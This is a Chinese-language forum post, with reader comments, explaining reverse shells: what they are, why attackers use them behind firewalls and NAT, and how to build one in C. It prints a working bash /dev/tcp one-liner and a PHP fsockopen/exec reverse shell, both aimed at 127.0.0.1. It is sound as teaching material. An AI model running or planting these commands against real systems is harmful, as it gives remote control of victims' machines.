[闲聊] 2017.W47 - Reverse Shell

楼主: CMJ0121 (请多指教!!)   2017-11-21 22:36:31
2017.W47 - Reverse Shell
> 已知用火
## 前言 ##
最近终于愿意开始学习 Reverse Shell[0]
顺便学习一下各种 reverse shell 的写法 (不过还是有很多不会写 QQ)
终于进化到已知用火的阶段了 QQ
## 内容 ##
Shell[1] 是介于作业系统跟使用者中间的一个接口程式 通常是命令式接口 (CLI)[2]
作业系统本身是不参与跟使用者的互动
Shell 本身可以做到很多系统底层的操作 以及呼叫外部程式、指令等
而 Web Shell 则是泛指透过 Web 接口 (BUI)[3] 一种操作方式
本身拥有的权限与网页服务器[4] 一致 在 Ubuntu 中就可能是 www-data 权限
正常来说 Remote Shell 的连线方式是透过使用者端 主动连线到服务器
这种使用情境符合大多数的情况 但是在少数情况 (e.g. 骇客入侵) 的时候
会因为防火墙原则或在 NAT[5] 之后 所以无法主动连线到受害者机器
因此发展出 reverse shell 的概念 也就是受害者机器主动发出网络连线的一种技巧
概念上来说 被控制端需要 1)主动发出网络连线 与 2)产生一个交互式接口
用 C 语言当做例子 就是要分别 1) 建立一个 socket 连线与 2) 呼叫一个 /bin/sh 的程式
使用 socket(AF_INET, SOCK_STREAM, 0) 建立一个 TCP 连线是个简单的方式
复杂的则可以实作 UDP / ICMP 等其他方式的网络连线
连线建立之后的 socket 就可以透过 dup2 将内容重导向到 stdin/stdout
接着执行 execv 来产生一个 bash shell
除了透过低阶程式之外 也可以直接使用 bash / Linux 的特性直接产生一个 reverse shell
在 Linux 下直接对档案 /dev/tcp/[IP]/[Port] [6] 做操作
这样就可以直接对外产生一个网络连线 并传送、接收指令
最后可以用以下指令快速产生一个 reverse shell
/bin/bash -i >& /dev/tcp/127.0.0.1/34182 0>&1
相同的概念也可以透过 PHP 来实作
借由 fsockopen [7] 快速产生一个 socket (并且预期 FD 是 3)
在用 exec 来执行跟 bash reverse shell 类似的指令
<?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?>
[0]: https://stackoverflow.com/questions/35271850/what-is-reverse-shell
[1]: https://zh.wikipedia.org/wiki/%E6%AE%BC%E5%B1%A4
[2]: https://en.wikipedia.org/wiki/Command-line_interface
[3]: https://en.wikipedia.org/wiki/Browser_user_interface
[4]: https://en.wikipedia.org/wiki/Web_server
[5]: https://en.wikipedia.org/wiki/Network_address_translation
[6]: http://www.tldp.org/LDP/abs/html/devref1.html
[7]: http://php.net/manual/en/function.fsockopen.php
作者: kingofage111 (鸵鸟)   2017-11-22 17:40:00
作者: airbone0407 (杨区长)   2017-11-22 20:00:00
push
作者: Debian (Debian)   2017-11-22 23:52:00
推荐文章。
作者: Peruheru (还在想)   2017-11-23 10:15:00
我只有遇过直接用PHP当shell用得入侵
作者: adsl9527 (申装adsl的小为)   2017-11-24 13:43:00
可以写个简单的c program,不需要写socket, 配合ncat指令 也可以模拟远端骇入的技术(e.g. bof,rop)
作者: atuanmini (atuan)   2017-11-25 13:40:00
作者: b0920075 (Void)   2017-11-30 10:41:00
之所以要用socket就是因为输出看不到或是无法直接连到远端等原因才在目标开socket反连回来啊reverse shell的目的不是单纯模拟远端攻击…
楼主: CMJ0121 (请多指教!!)   2017-12-06 00:02:00
所以东西都不限于一种用法
作者: haker00d   2017-12-08 19:00:00
写的很务实 推

Links booklink

Contact Us: admin [ a t ] ucptt.com